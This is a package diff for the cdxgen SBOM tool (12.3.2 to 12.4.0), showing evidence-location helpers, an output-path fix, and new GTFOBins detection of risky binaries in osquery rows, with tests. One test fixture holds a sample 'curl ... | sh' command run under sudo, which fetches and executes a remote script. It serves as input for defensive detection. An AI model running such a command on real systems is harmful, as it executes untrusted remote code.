@cyclonedx/cdxgen 12.3.2 → 12.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (182) hide show
  1. package/README.md +70 -22
  2. package/bin/audit.js +21 -7
  3. package/bin/cdxgen.js +238 -116
  4. package/bin/convert.js +28 -13
  5. package/bin/hbom.js +490 -0
  6. package/bin/repl.js +580 -29
  7. package/bin/validate.js +34 -4
  8. package/bin/verify.js +40 -5
  9. package/data/README.md +298 -25
  10. package/data/component-tags.json +6 -0
  11. package/data/crypto-oid.json +16 -0
  12. package/data/predictive-audit-allowlist.json +11 -0
  13. package/data/queries-darwin.json +12 -1
  14. package/data/queries-win.json +7 -1
  15. package/data/queries.json +39 -2
  16. package/data/rules/ai-agent-governance.yaml +16 -0
  17. package/data/rules/asar-archives.yaml +150 -0
  18. package/data/rules/chrome-extensions.yaml +8 -0
  19. package/data/rules/ci-permissions.yaml +171 -15
  20. package/data/rules/container-risk.yaml +14 -7
  21. package/data/rules/dependency-sources.yaml +76 -5
  22. package/data/rules/hbom-compliance.yaml +325 -0
  23. package/data/rules/hbom-performance.yaml +307 -0
  24. package/data/rules/hbom-security.yaml +248 -0
  25. package/data/rules/host-topology.yaml +165 -0
  26. package/data/rules/mcp-servers.yaml +18 -3
  27. package/data/rules/obom-runtime.yaml +907 -22
  28. package/data/rules/package-integrity.yaml +36 -0
  29. package/data/rules/rootfs-hardening.yaml +179 -0
  30. package/data/rules/vscode-extensions.yaml +9 -0
  31. package/lib/audit/index.js +209 -8
  32. package/lib/audit/index.poku.js +332 -0
  33. package/lib/audit/reporters.js +222 -0
  34. package/lib/audit/targets.js +146 -1
  35. package/lib/audit/targets.poku.js +186 -0
  36. package/lib/cli/asar.poku.js +328 -0
  37. package/lib/cli/index.js +647 -127
  38. package/lib/cli/index.poku.js +1905 -187
  39. package/lib/evinser/evinser.js +14 -9
  40. package/lib/helpers/agentFormulationParser.js +6 -2
  41. package/lib/helpers/agentFormulationParser.poku.js +42 -0
  42. package/lib/helpers/analyzer.js +1444 -38
  43. package/lib/helpers/analyzer.poku.js +409 -0
  44. package/lib/helpers/analyzerScope.js +712 -0
  45. package/lib/helpers/asarutils.js +1556 -0
  46. package/lib/helpers/asarutils.poku.js +443 -0
  47. package/lib/helpers/auditCategories.js +12 -0
  48. package/lib/helpers/auditCategories.poku.js +32 -0
  49. package/lib/helpers/cbomutils.js +271 -1
  50. package/lib/helpers/cbomutils.poku.js +248 -5
  51. package/lib/helpers/chromextutils.js +25 -3
  52. package/lib/helpers/chromextutils.poku.js +68 -0
  53. package/lib/helpers/ciParsers/githubActions.js +79 -0
  54. package/lib/helpers/ciParsers/githubActions.poku.js +103 -0
  55. package/lib/helpers/communityAiConfigParser.js +15 -5
  56. package/lib/helpers/communityAiConfigParser.poku.js +71 -0
  57. package/lib/helpers/depsUtils.js +5 -0
  58. package/lib/helpers/depsUtils.poku.js +55 -0
  59. package/lib/helpers/display.js +336 -23
  60. package/lib/helpers/display.poku.js +179 -43
  61. package/lib/helpers/evidenceUtils.js +58 -0
  62. package/lib/helpers/evidenceUtils.poku.js +54 -0
  63. package/lib/helpers/exportUtils.js +9 -0
  64. package/lib/helpers/gtfobins.js +142 -8
  65. package/lib/helpers/gtfobins.poku.js +24 -1
  66. package/lib/helpers/hbom.js +710 -0
  67. package/lib/helpers/hbom.poku.js +496 -0
  68. package/lib/helpers/hbomAnalysis.js +268 -0
  69. package/lib/helpers/hbomAnalysis.poku.js +249 -0
  70. package/lib/helpers/hbomLoader.js +35 -0
  71. package/lib/helpers/hostTopology.js +803 -0
  72. package/lib/helpers/hostTopology.poku.js +363 -0
  73. package/lib/helpers/inventoryStats.js +69 -0
  74. package/lib/helpers/inventoryStats.poku.js +86 -0
  75. package/lib/helpers/lolbas.js +19 -1
  76. package/lib/helpers/lolbas.poku.js +23 -0
  77. package/lib/helpers/mcpConfigParser.js +21 -5
  78. package/lib/helpers/mcpConfigParser.poku.js +39 -2
  79. package/lib/helpers/osqueryTransform.js +47 -0
  80. package/lib/helpers/osqueryTransform.poku.js +47 -0
  81. package/lib/helpers/plugins.js +349 -0
  82. package/lib/helpers/plugins.poku.js +57 -0
  83. package/lib/helpers/propertySanitizer.js +121 -0
  84. package/lib/helpers/protobom.js +156 -45
  85. package/lib/helpers/protobom.poku.js +140 -5
  86. package/lib/helpers/remote/dependency-track.js +36 -3
  87. package/lib/helpers/remote/dependency-track.poku.js +44 -0
  88. package/lib/helpers/source.js +24 -0
  89. package/lib/helpers/source.poku.js +32 -0
  90. package/lib/helpers/utils.js +2454 -198
  91. package/lib/helpers/utils.poku.js +1798 -74
  92. package/lib/managers/binary.e2e.poku.js +367 -0
  93. package/lib/managers/binary.js +2306 -350
  94. package/lib/managers/binary.poku.js +1700 -1
  95. package/lib/managers/docker.js +441 -95
  96. package/lib/managers/docker.poku.js +1479 -14
  97. package/lib/server/server.js +2 -24
  98. package/lib/server/server.poku.js +36 -1
  99. package/lib/stages/postgen/annotator.js +38 -0
  100. package/lib/stages/postgen/annotator.poku.js +107 -1
  101. package/lib/stages/postgen/auditBom.js +121 -18
  102. package/lib/stages/postgen/auditBom.poku.js +2967 -990
  103. package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
  104. package/lib/stages/postgen/postgen.js +192 -1
  105. package/lib/stages/postgen/postgen.poku.js +321 -0
  106. package/lib/stages/postgen/ruleEngine.js +116 -0
  107. package/lib/stages/pregen/envAudit.js +14 -3
  108. package/package.json +24 -21
  109. package/types/bin/hbom.d.ts +3 -0
  110. package/types/bin/hbom.d.ts.map +1 -0
  111. package/types/bin/repl.d.ts.map +1 -1
  112. package/types/lib/audit/index.d.ts +44 -0
  113. package/types/lib/audit/index.d.ts.map +1 -1
  114. package/types/lib/audit/reporters.d.ts +16 -0
  115. package/types/lib/audit/reporters.d.ts.map +1 -1
  116. package/types/lib/audit/targets.d.ts.map +1 -1
  117. package/types/lib/cli/index.d.ts +16 -0
  118. package/types/lib/cli/index.d.ts.map +1 -1
  119. package/types/lib/evinser/evinser.d.ts +4 -0
  120. package/types/lib/evinser/evinser.d.ts.map +1 -1
  121. package/types/lib/helpers/agentFormulationParser.d.ts.map +1 -1
  122. package/types/lib/helpers/analyzer.d.ts +33 -0
  123. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  124. package/types/lib/helpers/analyzerScope.d.ts +11 -0
  125. package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
  126. package/types/lib/helpers/asarutils.d.ts +34 -0
  127. package/types/lib/helpers/asarutils.d.ts.map +1 -0
  128. package/types/lib/helpers/auditCategories.d.ts +5 -0
  129. package/types/lib/helpers/auditCategories.d.ts.map +1 -1
  130. package/types/lib/helpers/cbomutils.d.ts +3 -2
  131. package/types/lib/helpers/cbomutils.d.ts.map +1 -1
  132. package/types/lib/helpers/chromextutils.d.ts.map +1 -1
  133. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  134. package/types/lib/helpers/communityAiConfigParser.d.ts.map +1 -1
  135. package/types/lib/helpers/depsUtils.d.ts.map +1 -1
  136. package/types/lib/helpers/display.d.ts +1 -0
  137. package/types/lib/helpers/display.d.ts.map +1 -1
  138. package/types/lib/helpers/evidenceUtils.d.ts +8 -0
  139. package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
  140. package/types/lib/helpers/exportUtils.d.ts.map +1 -1
  141. package/types/lib/helpers/gtfobins.d.ts +8 -0
  142. package/types/lib/helpers/gtfobins.d.ts.map +1 -1
  143. package/types/lib/helpers/hbom.d.ts +49 -0
  144. package/types/lib/helpers/hbom.d.ts.map +1 -0
  145. package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
  146. package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
  147. package/types/lib/helpers/hbomLoader.d.ts +7 -0
  148. package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
  149. package/types/lib/helpers/hostTopology.d.ts +12 -0
  150. package/types/lib/helpers/hostTopology.d.ts.map +1 -0
  151. package/types/lib/helpers/inventoryStats.d.ts +11 -0
  152. package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
  153. package/types/lib/helpers/lolbas.d.ts.map +1 -1
  154. package/types/lib/helpers/mcpConfigParser.d.ts +1 -1
  155. package/types/lib/helpers/mcpConfigParser.d.ts.map +1 -1
  156. package/types/lib/helpers/osqueryTransform.d.ts +3 -0
  157. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
  158. package/types/lib/helpers/plugins.d.ts +58 -0
  159. package/types/lib/helpers/plugins.d.ts.map +1 -0
  160. package/types/lib/helpers/propertySanitizer.d.ts +3 -0
  161. package/types/lib/helpers/propertySanitizer.d.ts.map +1 -0
  162. package/types/lib/helpers/protobom.d.ts +3 -4
  163. package/types/lib/helpers/protobom.d.ts.map +1 -1
  164. package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
  165. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
  166. package/types/lib/helpers/source.d.ts.map +1 -1
  167. package/types/lib/helpers/utils.d.ts +74 -8
  168. package/types/lib/helpers/utils.d.ts.map +1 -1
  169. package/types/lib/managers/binary.d.ts +5 -0
  170. package/types/lib/managers/binary.d.ts.map +1 -1
  171. package/types/lib/managers/docker.d.ts +3 -0
  172. package/types/lib/managers/docker.d.ts.map +1 -1
  173. package/types/lib/server/server.d.ts +2 -0
  174. package/types/lib/server/server.d.ts.map +1 -1
  175. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  176. package/types/lib/stages/postgen/auditBom.d.ts +26 -1
  177. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  178. package/types/lib/stages/postgen/postgen.d.ts +2 -1
  179. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  180. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  181. package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
  182. package/data/spdx-model-v3.0.1.jsonld +0 -15999
@@ -0,0 +1,58 @@
1
+ export function createOccurrenceEvidence(location, details = {}) {
2
+ const normalizedLocation = String(location || "").trim();
3
+ if (!normalizedLocation) {
4
+ return undefined;
5
+ }
6
+ const occurrence = {
7
+ location: normalizedLocation,
8
+ };
9
+ for (const [key, value] of Object.entries(details || {})) {
10
+ if (value !== undefined && value !== null && value !== "") {
11
+ occurrence[key] = value;
12
+ }
13
+ }
14
+ return occurrence;
15
+ }
16
+
17
+ export function parseOccurrenceEvidenceLocation(location, details = {}) {
18
+ const normalizedLocation = String(location || "").trim();
19
+ if (!normalizedLocation) {
20
+ return undefined;
21
+ }
22
+ const hashMatch = normalizedLocation.match(/^(.*)#(\d+)$/);
23
+ if (hashMatch) {
24
+ return createOccurrenceEvidence(hashMatch[1], {
25
+ ...details,
26
+ line: Number(hashMatch[2]),
27
+ });
28
+ }
29
+ const lineOffsetMatch = normalizedLocation.match(/^(.*):(\d+):(\d+)$/);
30
+ if (lineOffsetMatch) {
31
+ return createOccurrenceEvidence(lineOffsetMatch[1], {
32
+ ...details,
33
+ line: Number(lineOffsetMatch[2]),
34
+ offset: Number(lineOffsetMatch[3]),
35
+ });
36
+ }
37
+ const lineMatch = normalizedLocation.match(/^(.*):(\d+)$/);
38
+ if (lineMatch) {
39
+ return createOccurrenceEvidence(lineMatch[1], {
40
+ ...details,
41
+ line: Number(lineMatch[2]),
42
+ });
43
+ }
44
+ return createOccurrenceEvidence(normalizedLocation, details);
45
+ }
46
+
47
+ export function formatOccurrenceEvidence(occurrence) {
48
+ if (!occurrence?.location) {
49
+ return "";
50
+ }
51
+ if (typeof occurrence.line === "number") {
52
+ if (typeof occurrence.offset === "number") {
53
+ return `${occurrence.location}:${occurrence.line}:${occurrence.offset}`;
54
+ }
55
+ return `${occurrence.location}#${occurrence.line}`;
56
+ }
57
+ return occurrence.location;
58
+ }
@@ -0,0 +1,54 @@
1
+ import { assert, describe, it } from "poku";
2
+
3
+ import {
4
+ createOccurrenceEvidence,
5
+ formatOccurrenceEvidence,
6
+ parseOccurrenceEvidenceLocation,
7
+ } from "./evidenceUtils.js";
8
+
9
+ describe("evidence utils", () => {
10
+ it("creates occurrence evidence with structured line details", () => {
11
+ assert.deepStrictEqual(
12
+ createOccurrenceEvidence("src/index.js", {
13
+ line: 14,
14
+ offset: 3,
15
+ symbol: "node:crypto.createHash",
16
+ }),
17
+ {
18
+ location: "src/index.js",
19
+ line: 14,
20
+ offset: 3,
21
+ symbol: "node:crypto.createHash",
22
+ },
23
+ );
24
+ });
25
+
26
+ it("parses hash-style line locations", () => {
27
+ assert.deepStrictEqual(parseOccurrenceEvidenceLocation("src/index.js#27"), {
28
+ location: "src/index.js",
29
+ line: 27,
30
+ });
31
+ });
32
+
33
+ it("parses colon-style line and offset locations", () => {
34
+ assert.deepStrictEqual(
35
+ parseOccurrenceEvidenceLocation("src/index.js:29:7"),
36
+ {
37
+ location: "src/index.js",
38
+ line: 29,
39
+ offset: 7,
40
+ },
41
+ );
42
+ });
43
+
44
+ it("formats structured occurrence evidence for display", () => {
45
+ assert.strictEqual(
46
+ formatOccurrenceEvidence({
47
+ location: "src/index.js",
48
+ line: 12,
49
+ offset: 1,
50
+ }),
51
+ "src/index.js:12:1",
52
+ );
53
+ });
54
+ });
@@ -49,9 +49,18 @@ export function deriveSpdxOutputPath(outputPath) {
49
49
  if (outputPath.endsWith(".spdx.json")) {
50
50
  return outputPath;
51
51
  }
52
+ if (outputPath.endsWith(".cdx.bin")) {
53
+ return outputPath.replace(/\.cdx\.bin$/u, ".spdx.json");
54
+ }
52
55
  if (outputPath.endsWith(".cdx.json")) {
53
56
  return outputPath.replace(/\.cdx\.json$/u, ".spdx.json");
54
57
  }
58
+ if (outputPath.endsWith(".cdx")) {
59
+ return outputPath.replace(/\.cdx$/u, ".spdx.json");
60
+ }
61
+ if (outputPath.endsWith(".proto")) {
62
+ return outputPath.replace(/\.proto$/u, ".spdx.json");
63
+ }
55
64
  if (outputPath.endsWith(".json")) {
56
65
  return outputPath.replace(/\.json$/u, ".spdx.json");
57
66
  }
@@ -1,11 +1,25 @@
1
1
  import { readFileSync } from "node:fs";
2
- import { basename, join } from "node:path";
2
+ import { basename } from "node:path";
3
+ import { fileURLToPath } from "node:url";
3
4
 
4
- import { dirNameStr, safeExistsSync } from "./utils.js";
5
-
6
- const GTFOBINS_INDEX_FILE = join(dirNameStr, "data", "gtfobins-index.json");
5
+ const GTFOBINS_INDEX_FILE = fileURLToPath(
6
+ new URL("../../data/gtfobins-index.json", import.meta.url),
7
+ );
7
8
  const GTFOBINS_REFERENCE_PREFIX = "https://gtfobins.github.io/gtfobins/";
8
9
  const PRIVILEGED_CONTEXTS = ["sudo", "suid", "capabilities"];
10
+ const MATCH_FIELDS = [
11
+ "name",
12
+ "path",
13
+ "cmdline",
14
+ "parent_cmdline",
15
+ "action",
16
+ "program",
17
+ "executable",
18
+ "description",
19
+ ];
20
+ const UNIX_PATH_PATTERN = /(?:^|[\s'"`=;|&(])((?:\.{0,2}\/|\/)[^\s'"`|;&()]+)/g;
21
+ const STANDALONE_COMMAND_PATTERN =
22
+ /(?:^|[\s;|&(])([a-z_][a-z0-9+._-]{1,})(?=$|[\s'"`|;&()])/gi;
9
23
  const CONTAINER_ESCAPE_HELPERS = new Set([
10
24
  "chroot",
11
25
  "ctr",
@@ -29,9 +43,6 @@ const VERSIONED_ALIASES = [
29
43
  const GTFOBINS_INDEX = loadGtfoBinsIndex();
30
44
 
31
45
  function loadGtfoBinsIndex() {
32
- if (!safeExistsSync(GTFOBINS_INDEX_FILE)) {
33
- return { entries: {}, source: GTFOBINS_REFERENCE_PREFIX, sourceRef: "" };
34
- }
35
46
  try {
36
47
  return JSON.parse(readFileSync(GTFOBINS_INDEX_FILE, "utf8"));
37
48
  } catch {
@@ -39,6 +50,32 @@ function loadGtfoBinsIndex() {
39
50
  }
40
51
  }
41
52
 
53
+ function uniqueSortedStrings(values) {
54
+ return [...new Set((values || []).filter(Boolean))].sort();
55
+ }
56
+
57
+ function collectValueCandidates(value) {
58
+ if (!value || typeof value !== "string") {
59
+ return [];
60
+ }
61
+ const candidates = new Set();
62
+ const trimmedValue = value.trim();
63
+ if (trimmedValue) {
64
+ candidates.add(trimmedValue);
65
+ }
66
+ for (const match of value.matchAll(UNIX_PATH_PATTERN)) {
67
+ if (match[1]) {
68
+ candidates.add(match[1]);
69
+ }
70
+ }
71
+ for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
72
+ if (match[1]) {
73
+ candidates.add(match[1]);
74
+ }
75
+ }
76
+ return Array.from(candidates);
77
+ }
78
+
42
79
  function resolveCandidateName(candidate) {
43
80
  if (!candidate || typeof candidate !== "string") {
44
81
  return undefined;
@@ -123,7 +160,7 @@ export function getGtfoBinsMetadata(name, linkedName) {
123
160
  functions: entry.functions,
124
161
  matchSource: directMatch.matchSource,
125
162
  mitreTechniques: entry.mitreTechniques,
126
- privilegedContexts: entry.contexts.filter((context) =>
163
+ privilegedContexts: entry?.contexts?.filter((context) =>
127
164
  PRIVILEGED_CONTEXTS.includes(context),
128
165
  ),
129
166
  reference: `${GTFOBINS_REFERENCE_PREFIX}${encodeURIComponent(directMatch.canonicalName)}/`,
@@ -187,3 +224,100 @@ export function createGtfoBinsProperties(name, linkedName) {
187
224
  }
188
225
  return properties;
189
226
  }
227
+
228
+ /**
229
+ * Resolve GTFOBins properties for a live Linux osquery row.
230
+ *
231
+ * @param {string} queryCategory Osquery query category
232
+ * @param {object} row Osquery row
233
+ * @returns {Array<object>} CycloneDX custom properties
234
+ */
235
+ export function createGtfoBinsPropertiesFromRow(queryCategory, row) {
236
+ const matches = new Map();
237
+ for (const field of MATCH_FIELDS) {
238
+ const fieldValue = row?.[field];
239
+ if (!fieldValue) {
240
+ continue;
241
+ }
242
+ for (const candidate of collectValueCandidates(String(fieldValue))) {
243
+ const metadata = getGtfoBinsMetadata(candidate);
244
+ if (!metadata) {
245
+ continue;
246
+ }
247
+ const existing = matches.get(metadata.canonicalName) || {
248
+ fields: new Set(),
249
+ metadata,
250
+ };
251
+ existing.fields.add(field);
252
+ matches.set(metadata.canonicalName, existing);
253
+ }
254
+ }
255
+ if (!matches.size) {
256
+ return [];
257
+ }
258
+ const names = uniqueSortedStrings(Array.from(matches.keys()));
259
+ const matchFields = uniqueSortedStrings(
260
+ Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
261
+ );
262
+ const functions = uniqueSortedStrings(
263
+ Array.from(matches.values()).flatMap((match) => match.metadata.functions),
264
+ );
265
+ const contexts = uniqueSortedStrings(
266
+ Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
267
+ );
268
+ const privilegedContexts = uniqueSortedStrings(
269
+ Array.from(matches.values()).flatMap(
270
+ (match) => match.metadata.privilegedContexts,
271
+ ),
272
+ );
273
+ const references = uniqueSortedStrings(
274
+ Array.from(matches.values()).map((match) => match.metadata.reference),
275
+ );
276
+ const riskTags = uniqueSortedStrings(
277
+ Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
278
+ );
279
+ const mitreTechniques = uniqueSortedStrings(
280
+ Array.from(matches.values()).flatMap(
281
+ (match) => match.metadata.mitreTechniques,
282
+ ),
283
+ );
284
+ const properties = [
285
+ { name: "cdx:gtfobins:matched", value: "true" },
286
+ { name: "cdx:gtfobins:names", value: names.join(",") },
287
+ { name: "cdx:gtfobins:matchFields", value: matchFields.join(",") },
288
+ { name: "cdx:gtfobins:queryCategory", value: queryCategory },
289
+ { name: "cdx:gtfobins:reference", value: references.join(",") },
290
+ { name: "cdx:gtfobins:sourceRef", value: GTFOBINS_INDEX.sourceRef || "" },
291
+ ];
292
+ if (functions.length) {
293
+ properties.push({
294
+ name: "cdx:gtfobins:functions",
295
+ value: functions.join(","),
296
+ });
297
+ }
298
+ if (contexts.length) {
299
+ properties.push({
300
+ name: "cdx:gtfobins:contexts",
301
+ value: contexts.join(","),
302
+ });
303
+ }
304
+ if (privilegedContexts.length) {
305
+ properties.push({
306
+ name: "cdx:gtfobins:privilegedContexts",
307
+ value: privilegedContexts.join(","),
308
+ });
309
+ }
310
+ if (riskTags.length) {
311
+ properties.push({
312
+ name: "cdx:gtfobins:riskTags",
313
+ value: riskTags.join(","),
314
+ });
315
+ }
316
+ if (mitreTechniques.length) {
317
+ properties.push({
318
+ name: "cdx:gtfobins:mitreTechniques",
319
+ value: mitreTechniques.join(","),
320
+ });
321
+ }
322
+ return properties;
323
+ }
@@ -2,7 +2,11 @@ import { strict as assert } from "node:assert";
2
2
 
3
3
  import { describe, it } from "poku";
4
4
 
5
- import { createGtfoBinsProperties, getGtfoBinsMetadata } from "./gtfobins.js";
5
+ import {
6
+ createGtfoBinsProperties,
7
+ createGtfoBinsPropertiesFromRow,
8
+ getGtfoBinsMetadata,
9
+ } from "./gtfobins.js";
6
10
 
7
11
  describe("gtfobins helpers", () => {
8
12
  it("returns metadata for exact GTFOBins matches", () => {
@@ -46,4 +50,23 @@ describe("gtfobins helpers", () => {
46
50
  propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
47
51
  );
48
52
  });
53
+
54
+ it("derives GTFOBins properties from live Linux osquery rows", () => {
55
+ const properties = createGtfoBinsPropertiesFromRow("sudo_executions", {
56
+ path: "/usr/bin/bash",
57
+ cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
58
+ parent_cmdline: "sudo bash -c payload",
59
+ });
60
+ const propertyMap = Object.fromEntries(
61
+ properties.map((property) => [property.name, property.value]),
62
+ );
63
+ assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
64
+ assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
65
+ assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
66
+ assert.ok(
67
+ propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
68
+ );
69
+ assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("path"));
70
+ assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("cmdline"));
71
+ });
49
72
  });